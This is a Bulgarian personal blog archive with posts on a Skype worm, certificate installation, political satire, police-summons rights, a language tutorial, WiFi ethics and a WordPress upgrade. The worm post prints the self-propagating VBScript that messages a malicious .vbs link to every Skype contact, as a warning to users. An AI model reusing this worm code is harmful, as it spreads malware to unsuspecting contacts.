Category: Hacking

Computer, technical and life hacks!

Българско SKYPE червейче

Българско SKYPE червейче

Вчера :Веси: получи интересно съобщение на шльокавица от една от нейните приятелки в СКАЙП:

> Искам да ти призная , че те обичам много … Просто ме беше срам да ти го кажа преди това (blush) Поздравче за теб миличко : http://lоfffkаmtе.hit.bg/mоqsnimkа.vbs :*
>
> _връзката умишлено е сгрешена тук, за да не кликне някой четящ по погрешка на нея, иначе в SKYPE си беше наред_

При кликване на връзката се отваря стандартен прозорец, който подканя потребителя за “Open” или “Save”. Очаквайки снимка, повечето наивни потребители ще кликнат на Open, след което я получат, я не още едно съобщение и като резултат на машинката им ще се изпълни следната зловредна програма:

on error resume next
set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")
set uDlVA = wscript.createobject("wscript.shell")
set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")
yADAl.Client.Start()
yADAl.Attach()
For Each GAG In yADAl.Friends
yADAl.SendMessage GAG.handle,"Искам да ти призная , че те обичам много ... Просто ме беше срам да ти го кажа преди това (blush) Поздравче за теб миличко : http://lofffkamte.hit.bg/moqsnimka.vbs :* "
next
msgbox "bY GENCHO411 ( http://galaxy.forumi.bg )"

Хубаво е, че бях около Веси, когато тя получи съобщението. 99% съм сигурен, че и тя щеше да се върже. Не че в конкретния случай щеше да се случи нещо по-сериозно (освен шеговито обяснение в любов на нея към всичките ѝ контакти, заедно с връзчица към “снимката” ѝ). Но тази програмка лесно може да се преправи така, че да нанесе сериозна вреда на машината ѝ.

Практически, когато всеки от нас не гледа какво стартира (особено ако е получено от “приятелски” контакт), той рискува данните си, а заедно с това и парите си (възможно е да му вземат всички пароли от IE/firefox например), че и като нищо и сигурността си (адреси и т.н.). Може да ви се струва малко параноично, но ако искате да сте сигурни, че само вие разполагате с компютъра и с данните си, трябва __всеки__ път, когато получите каквато и да е връзка по който и да е чат клиент, да поглеждате разширението ѝ.

Разширението (в случая – vbs) е това, което показва какво точно компютърът ви ще направи с данните, които ще източи от външния сайт. В този конкретен случай VBS е нищо повече освен Visual Basic Script. А това си е програмен език, т.е. оторизирайки (чрез “Open”) изпълнението му вие практически казвате “Направи каквото искаш с този компютър и с данните в него”. Никаква антивирусна, firewall или друга защита в случая няма да ви спаси. Много малко червеи от този вид се разпознават от антивирусните програми – най-вече поради факта, че лесно се променят и всеки злосторник може да го стори. И ако злосторника зариби ваш приятел, и ако вие не обърнете внимание на разширението, лесно може да станете и вие жертва. И след това ще се почнат едни приказки за това кое е по-сигурно и кое не е.

Накратко:

* Гледайте _внимателно_ разширението на всяка връзка, която изпълнявате във вашия компютър. Ако е JPG/BMP/PNG/PCX в повечето случаи сте ОК. Ще пропусна възможността компютърът ви да не е защитен с последните поправки на Windows. Ако това е така, дори отваряне на някой от тези файлове може да нанесе сериозни щети на вас и данните ви. Ако не може да познаете разширението, по-добре не отваряйте връзката. Ако пък много искате да я отворите, попитайте някой професионалист за помощ.

* По принцип работете с не-администраторски привилегии. За жалост, в 99% от компютрите, за които знам (преди Windows Vista) потребителската сметка с която се работи има пълни, администраторски привилегии, което значи че ако злосторник проникне по който и да е начин, може да постави “на колене” цялата система. За това как се работи с не-администраторски привилегии може да пиша някой друг път, ако не ме примързи.

Като цяло съм бил свидетел не на един случай, в който ние обвиняваме операционната система за това, че имаме вирус, червей или spyware. Факт е, че Windows е най-разпространената OS, и като такава е и най-атакуваната. Необразования потребител (а 90% от потребителите са необразовани) обикновено не знаят въобще как да се предпазят, а като стане белята е много по-удобно (и по-човешко :)) да обвиним някой/нещо друго, нали?

Надявам се чатещите непрофита да прочетат това и да го запомнят. Питайте, ако имате въпроси. Защото след това става късно :).

Инсталиране на trusted root сертификат във Windows Vista

Инсталиране на trusted root сертификат във Windows Vista

Една от многото задачи в България беше да регистрирам персонален електронен подпис на мен и :Веси:. Няколко обменени е-пощи с хора от InfoNotary ме убедиха, че мога да разчитам на тази компания (не че имах избор, но се чувствах вече много по-спокоен).

След като купихме сертификатите, по странна причина инсталацията на моя компютър не успя. За това обвинявам основно мен, защото инсталирах през мрежово CD, а не през локалното такова, както беше указано в инструкциите. Като резултат от провалената инсталация, при :Веси: нещата работеха добре, но при мен всичко беше мазало.

Нямах време, чакаше ме почивка, така че оставих нещата да отлежат, разчитайки че след 3 седмици ще се оправят с помощ от съпорта.

Като се прибрах, още първия ден имах работеща инсталация. С няколко думи и уточнения (за което много благодаря на специалистите от InfoNotary) всичко си тръгна, с изключение на едно – по някаква причина основния (root) сертификат на InfoNotary не искаше да се инсталира в моят Trusted Root Certificates склада на моят компютър. Лошо, защото това директно означаваше, че няма как системата да “вярва”, че моят подпис е автентичен.

InfoNotary ми обещаха помощ, но нали сърце юнашко не трае, реших да запретна ръкави сам. В крайна сметка, това е Windows, затова и приех нещата леко лично :).

Първо реших да ровя из публичното пространство. Бях оставил фирменото настрана, но разчитах солидно и на него, ако публичния Internet ме предаде. Разбира се, не се наложи да ползвам други ресурси. Farhan Ahmad (един от многото MVP) е обяснил прекрасно процедурата как да инсталираме сертификат като trusted такъв в цял материал в неговия сайт.

Накратко (и на български):

* Нужен ви е административен режим. Или пускате IE като администратор, или използвате Certificate Manager-а, който така или иначе ще ви поиска административен режим при стартиране
* Различното при Vista е, че трябва __изрично__ да му укажете сертификатът да попадне на локалния компютър. Ако не го направите, процесът вероятно ще се провали:
* Когато дойде ред да указвате складът, където сертификата да се запише, изберете “ръчно” и Browse.
* От новия прозорец изберете “Show physical stores”, след което намерете Trusted Root Certificates и изберете Local Computer. След това ОК.
* Би следвало да виждате вече избран не просто Trusted Root Certificates, а Trusted Root Certificates\Local Computer.
* От там насетне следвайте нормалната процедура.

Всичко е описано детайлно в статията на Фархан, мен ме мързи да пиша повече. Ако имате въпроси – знаете как да ме намерите. Ако не знаете, използвайте коментарите.

Петиции, германци, шведи и романи

Петиции, германци, шведи и романи

От блога на Вени Гюрова научих за поредната онлайн петиция. Понеже споделям по-голямата част казаното в петицията, ще я подпиша и аз.

В същото време обаче Алекс ми хвърли много интересна статия в “Дневник”, която показва една съвсем друга финална картинка:

Шоуто на “спасителите Саркози” ядоса Брюксел и Берлин, пише в пространен материал за освобождаването на българските медици електронното издание на германското списание “Шпигел”. Според него, в европейската и германската столици били раздразнени от арогантността, с която френският президент и неговата съпруга се опитали да оберат плодовете от дългогодишните преговори между ЕС и Либия по въпроса за българските медицински сестри и лекаря Ашраф.

(за повече: статията)

Познавайки точността на германците и в същото време и способността на французите да _показват нещата_, червейчето (даже направо гигантският Аракиски пясъчен червей) на съмнението ме загриза. Ще стане много интересно, ако това наистина е вярно. Представяте ли си какъв срам ще берат? Защото тях, френските политици, ги е много повече срам от нашите. Нашите, знаем, отдавна са ампутирани от срам.

Като заговорихме за срам, ето я и днешната еманация на срам: МВР си поръча писатели. Ето ги и коментарите на Симион, Валери и Ясен. След това, което те казаха, аз нямам кой-знае какво повече да добавя. Поредното доказателство на твърдението ми от по-горе за ампутацията на срам. Румен Петков [все още вътрешен министър] е тръгнал да прави PR не само в офисите на в-к ДУМА (или други парцали от типа на часовникарите или ТРУП), той направо пазарува “история на едро”. Защото какво е една книга, ако не бъдещо историческо свидетелство?

> Българските писатели ще разчитат на ежедневните си човешки контакти и впечатления в трудните делници на служителите от МВР.
>
> Очаквайте нови творби, в които честта и професионализмът не са само думи, а съдба и призвание за хората в полицейски униформи, заяви в отговор Николай Петев.

Блестящата, но закъсняла с около 30 години идея на вътрешния министър (и) този път не е свързана с борбата с престъпността. За която всъщност българските данъкоплатци му плащат. Не, тя е свързана с още малко връзки с обществеността. Писателите, разбираш ли, се наели да допишат иначе нелошата трилогия на Андрей Гуляшки. “Приключенията на Авакум Захов” ще се възродят, с едно такова съвременно звучене. Аз лично предлагам няколко потенциални сюжета, които според мен ще дадат едни такива стойностни романи:

* __Мокрите приключения на Петко Руменов__. Цялата си служба бил просто един народен, дребен рогат добитък, разузнавачът Петко Руменов получава секретната задача да замърси до неузнаваемост водата на малък фонтан в центъра на още по-малък град. Целта е ясна: вонята от деянието да прогони мръсните империалисти, окупирали околофонтанните площи с цел ядене на сандвичи Мак Доналдс и пиене на иначе упадналата напитка Кока Кола. Задачата, разбира се, е изпълнена успешно и младият разузнавач получава следващото си назначение (но за това, в друг роман).

* __Как се каляваха блогарите__. В тази вълнуваща повест ще се разказва за червен комисар, който получава нелеката задача да поведе фронтът срещу съвременната интернет-измет (заклеймена вече от уважавани медии като “24 клоаки”). Младият комисар, с цената на кански труд и поредица безсънни нощи, и разбира се с помощта на блестящите експерти от комисарският си екип, успява да установи местоположението на един от блогарите. А именно – интернет пространството! С помощта на модерни експертни подходи, най-вече използвайки Интернет=хрътки от дир.бг, както и други хакерски благини, блогарят бива изтикан от Т1 мрежата, в която витае, и бива приклещен в 14.4 килобитовия модем на комисаря. След това, използвайки обикновени кримпиращи клещи, но пък добре подкован идеологически, комисарят го измъкнва през цокъла на модема директно в стаята си. Блогарят бива заклеймен публично, “24 клоаки” публикува даже и матрял по случая. На блогаря му се дава да подпише предбрачен договор, в който се казва че ако някога си позволи да се ожени за червеният комисар, ще бъде принуден до края на живота си да пише на 6lyokavitza. Всички (освен интернет-изметта, разбира се) са щастливи и пеят Интернационала. (това дори може да стане даже сценарий и на музикален филм)

* __Защо започна войната със Швеция__. Кратък футуристично-исторически очерк, който описва как благодарение на активната [не]намеса на органите на реда при убийството на почиващ (и вече починал си окончателно) шведски турист се стига до първата вътрешна за ЕС война. Швеция, една иначе голяма, но безобидна монархия от руси и яки туристи обявява война на България. Поради очевидната отдалеченост на двете страни всички отчаяни опити поне за едно сражение като за кумова срама са провалени. Тогава войната се пренася по нашето черноморие, където ротата на същия сержант, чрез активни [без]действия успява да ликвидира цял полк шведски туристи. И няколко германски по погрешка (кой им е виновен на германците, че и те са руси повечето?). Главният [без]действащ е награден от Петко Руменов (нали ви обещах продължение на първата книга) с орденът “Жълтата армия”: специалнен орден за специални услуги, учреден по случай 10 годишнината от отравянето на един малък градски фонтан.

Идат ми още доста свежички идеи, но засега ще спра до тук. Нека и съюзът на българските писатели да свърши някаква работа, а?

Блогър в милиция how-to

Блогър в милиция how-to

Тази седмица беше белязана от опит на българската милиция (полиция щеше да бъде, ако беше европейска и спазваше елементарните човешки и конситуционно гарантирани права и свободи) да упражни влияние върху свободата на словото, позволявайки си да сплашва и обработва Мишел.

Понеже не вярвам това да спре, а и понеже от време на време си идвам в България, прилагам тук Подръчни правила на блогър, повикан в милицията за отчет. Симион ме насочи към оригиналната им публикация. Автор на правилата е Иван Иванов, който не познавам, но на който благодаря!

Блогъри, ако кварталния ви милиционер (или градския БОП-милиционер) ви привика, __помнете__:

1. Научете изрядно правата Ви според българската Конституция и според конвенциите за присъединяването на България към Съвета на Европа и към Европейския съюз с превес над българските закони.

2. Разучете как точно трябва да изглежда и какво точно трябва да включва според Наказателно-процесуалния кодекс призовка за явяване при всяка от безбройните “силови” власти – прокуратура, следствени, полиция, ГДБОП и други. При непълна призовка изпращайте до съответната
власт с препоръчано писмо с обратна разписка, че не ще се явите поради незаконосъобразно призоваване.

3. Никога не се явявайте пред безбройните “силови” власти -прокуратура, следствени, полиция, ГДБОП и други без подходящ защитник според чл. 56 от Конституцията – той не Ви е необходим само за защита, а и за свидетел какво правят или не правят служители на съответната власт при явяването Ви пред нея.

4. При целесъобразност и обществена значимост известявайте предварително подходящи правозащитни организации и журналисти за предстоящо Ви явяване пред пред някоя от безбройните “силови” власти – прокуратура, следствени, полиция, ГДБОП и други.

5. Никога не приемайте да разговаряте с който и да е служител на безбройните “силови” власти – прокуратура, следствени, полиция, ГДБОП и други без той предварително да се е легитимирал пред Вас със служебна легитимация със снимка и без Вие предварително да сте записал точното му и пълно име и длъжност според легитимацията му.

6. Никога не приемайте провеждане на среща с безбройните “силови” власти – прокуратура, следствени, полиция, ГДБОП и други без водене на протокол с копие и за Вас – в случай на отказ възложете на Вашия защитник да води протокол и водете разговора така, че той да има възможност да записва всичко.

7. Никога не приемайте устни изисквания или покани за Ваши действия, като например подписване на предупредителен протокол, а изисквайте да бъдете поканен писмено с посочване на законното основание и с името, длъжността и подписа на изискващия.

8. На всяко отправено към Вас твърдение или изискване от страна на служители на безбройните “силови” власти – прокуратура, следствени, полиция, ГДБОП и други винаги изисквайте точно посочване на законните
им основания според чл. 4, ал. 1 от Конституцията за твърдяното или изискваното – име на конвенция, закон, член, алинея, точка и цитиране на приложимия им текст.

9. Имайте винаги предвид, че според чл. 5, ал. 1, 2 и 4 Конституцията автоматично отменя (без да е необходимо решение на Конституционния съд) всеки противоречащ й обикновен български закон или разпоредба и че ратифицирана от България международна конвенция автоматично отменя всеки противоречащ й български закон, включително и Конституцията и че че властите според чл. 58, ал. 1 от Конституцията са задължени да спазват тези конституционни правила.

10. Отказвайте да подписвате каквито и да са документи, ако не получите предварително Ваше копие от тях.

11. Изисквайте предоставянето на копие от всеки засягащ Ви документ у съответната власт, който не е обявен по законния ред за държавна тайна.

12. Не се плашете на безбройните “силови” власти – прокуратура, следствени, полиция, ГДБОП и други – те са под същите закони и отговорност, под които сте и Вие.

13. Поддържайте винаги стриктна официална формална дистанция спрямо служителите на безбройните “силови” власти – прокуратура, следствени, полиция, ГДБОП и други и не се поддавайте към разговори “Да си
поговорим от сърце и по мъжки …”.

14. __[Това е от мен]__ Намерете си доверен адвокат. Човек, на който да имате безусловно доверие и който да е готов винаги да реагира, ако (когато) се случи “привикването”. Не е добра идея да го търсите в последния момент: винаги имайте някой впредвид.

Език свещен на моите деди

Език свещен на моите деди

Смятам, че си струва да публикувам тук един призив, който получих преди седмица:

> УВАЖАЕМИ СЪНАРОДНИЦИ,

> Във връзка с честването на 24 май – Деня на българската просвета и култура и на славянската писменост, Държавната агенция за българите в чужбина е разработила и публикувала на своя сайт продукта “Език свещен на моите деди” – онлайн самоучител по български език за начинаещи.
>
> Помагалото е предназначено за лесно и забавно изучаване на нашата азбука и някои основни правописни правила. Можете да го намерите на следния сайт
>
> http://www.aba.government.bg
>
> Главната целева група са децата на българите, живеещи в чужбина, които разбират и говорят в някаква степен български език, но имат затруднения с писаното слово.
>
> Продуктът е естествено продължение на предприетите до момента стъпки от страна на Агенцията по запазването и развитието не само на родния език, но и на българската идентичност сред нашата диаспора и особено сред представителите на най-младото поколение – като провеждане на две кръгли маси с участието на преподаватели по български език от десетки страни по света, разработване на упражнения за запознаване с българската азбука, публикуване на игри-пъзели с картата на България и т. н.
>
> Моля за Вашето съдействие за популяризиране на самоучителя по български език сред максимален брой наши сънародници.
>
> *ПОСОЛСТВОТО НА РЕПУБЛИКА БЪЛГАРИЯ В КОПЕНХАГЕН*

Един от редките случаи, когато дейност на държавна агенция заслужава похвала и признание. Дано не изоставят проекта, а го развиват и подобряват. При повече от милион българи в чужбина (още не са, ама е станат, спокойно) това е изключително полезен продукт.

Ако някога детето ми учи в чуждо училище, този сайт ще помогне то да знае писмен български.

Сваляне с превишена скорост

Сваляне с превишена скорост

От край време се каня да тествам скоростта на домашната мрежа. По (фирмен) договор би следвало да имам 2Mbps/512Kbps съответно за входящ/изходящ трафик. Днес обаче, след като гледах с удивление как :Веси: сваля от някакво FTP с 400KB/сек, реших че е крайно време да тествам.

Използвах SpeedTest.Net. Имат сървър в Копенхаген, което ми се струваше най-акуратно. Ето ги и резултатите:

Явно са ъпгрейднали връзката, без да ни уведомят. Понякога забравят, най-често когато става постепенно за всички потребители. Свалянето е почти двойно на това, което беше в началото (преди 3 години), качването е също малко по-добре от първоначалното. Не че е от особено значение, но все пак.

> О, щях да забравя! Честит Гергьовден на всички, а на всеки Георги да му е живо и здраво името!

За “свободното” WiFi

За “свободното” WiFi

Днес прочетох много интересен материал от блога на Нели Огнянова. В него има връзки към случаи на хора, подведени под отговорност за влизане в не-техни wireless мрежи.

Според мен е пълна глупост който и да е да има претенция, че съм влязъл в неговата отворена (Open) wireless мрежата му и съм я използвал за достъп до Internet. Може да има претенция само и единствено ако аз съм извършил това разбивайки кода му за достъп, или ако ставайки част от неговата мрежа съм достъпвал частните ресурси. Принципно, всичко което е с регламентиран достъп, се води частен ресурс. Всичко, което не е – това е общ ресурс.

Ще се опитам да изясня малко по-подробно.

Wireless мрежите може да се настроят по 2 начина:

* Отворен достъп: всеки може да се включи и да използва мрежата
* Защитен достъп: за да станеш част от мрежата, трябва да знаеш ключът за достъп,а в някои случаи – и името на самата мрежа.

Ако някой си е оставил мрежата отворена, аз като любознателен човек имам право да вляза в нея и да си свърша работата, която имам. Ако той има претенции относно някакви ценности, съществуват съответните ресурси, с които тези ценности се защитават достатъчно ефикасно. Ако даден компютър е оставен изцяло отворен, това означава че всеки с достъп има право най-малкото да види какво има на него.

Тук вече въпросът опира и до компетенцията. До това, че Сульо и Пульо си купуват безжични маршрутизатори (по $30 са най-евтините май) за у тях си, инсталират ги в локалната си мрежа и го оставят отворени, защото така им е по-лесно. И след това се сърдят, че някой влязъл и им “навъртял” гигабайти интернет трафик. Или че някой влязъл и им източил порното от (отворения) споделен ресурс на домашния компютър.

Настройката “отворена безжична мрежа” е точно за това – за да може _всеки_ да влиза и да ползва. Затова ги има т.нар. hot-spots, в които всеки първо влиза, след това си плаща за достъп.
Настройката “ресурс с публичен достъп” е точно за това – за да може _всеки_ най-малкото да го прочете.

За всички други случаи има ефикасни (и лесни) методи на защита.

Да се надяваме, че на някоя необразована технически политическа кратуна няма да и хрумне да измисли и криминализира деяние “неоторизирано включване в отворена wireless мрежа”. Но като знам нашите кратуни, като нищо и това да се получи – примери колкото искате.

WordPress 2.1.3

WordPress 2.1.3

Излязъл преди 12 часа, още топъл, топъл. Един кратък WinDiff на промените между 2.1.2 и 2.1.3 беше достатъчен да се хвана за главата. Явно трябва да се минава към тази версия, повече от задължително!

Удобството на новия хостинг е, че мога да спра целия сървър, за да не стане междувременно някоя шашма, докато файловете са частично подменени. Преди това обаче – задължителен архив на всичко и още по-задължително сравняване какво по-точно е променено.

Променените файлове са сравнително малко:

> wp-comments-post.php
> wp-login.php
> wp-trackback.php
> xmlrpc.php
> wp-admin\admin-db.php
> wp-admin\admin-functions.php
> wp-admin\admin-header.php
> wp-admin\bookmarklet.php
> wp-admin\custom-header.php
> wp-admin\edit-comments.php
> wp-admin\edit-form-advanced.php
> wp-admin\edit-page-form.php
> wp-admin\link-manager.php
> wp-admin\page.php
> wp-admin\post.php
> wp-admin\upgrade.php
> wp-admin\upload-functions.php
> wp-admin\upload.php
> wp-admin\user-edit.php
> wp-admin\import\blogware.php
> wp-admin\import\dotclear.php
> wp-admin\import\livejournal.php
> wp-admin\import\mt.php
> wp-admin\import\wordpress.php
> wp-content\plugins\akismet\akismet.php
> wp-includes\author-template.php
> wp-includes\bookmark-template.php
> wp-includes\bookmark.php
> wp-includes\category-template.php
> wp-includes\category.php
> wp-includes\classes.php
> wp-includes\comment-template.php
> wp-includes\comment.php
> wp-includes\default-filters.php
> wp-includes\feed.php
> wp-includes\formatting.php
> wp-includes\functions.php
> wp-includes\general-template.php
> wp-includes\link-template.php
> wp-includes\pluggable.php
> wp-includes\post.php
> wp-includes\query.php
> wp-includes\registration.php
> wp-includes\rss.php
> wp-includes\script-loader.php
> wp-includes\theme.php
> wp-includes\user.php
> wp-includes\version.php

Хубавото е, че ъпгрейда не изисква да се модифицира отново _wp-includes\wp-db.php_.

Горещо препоръчвам на всеки да надгражда – от това, което видях като разлика с 2.1.2, нещата са “интересни”! Ако не желаете някой ден да се разделите с базата си данни – давайте към 2.1.3.

Theme: Overlay by Kaira Extra Text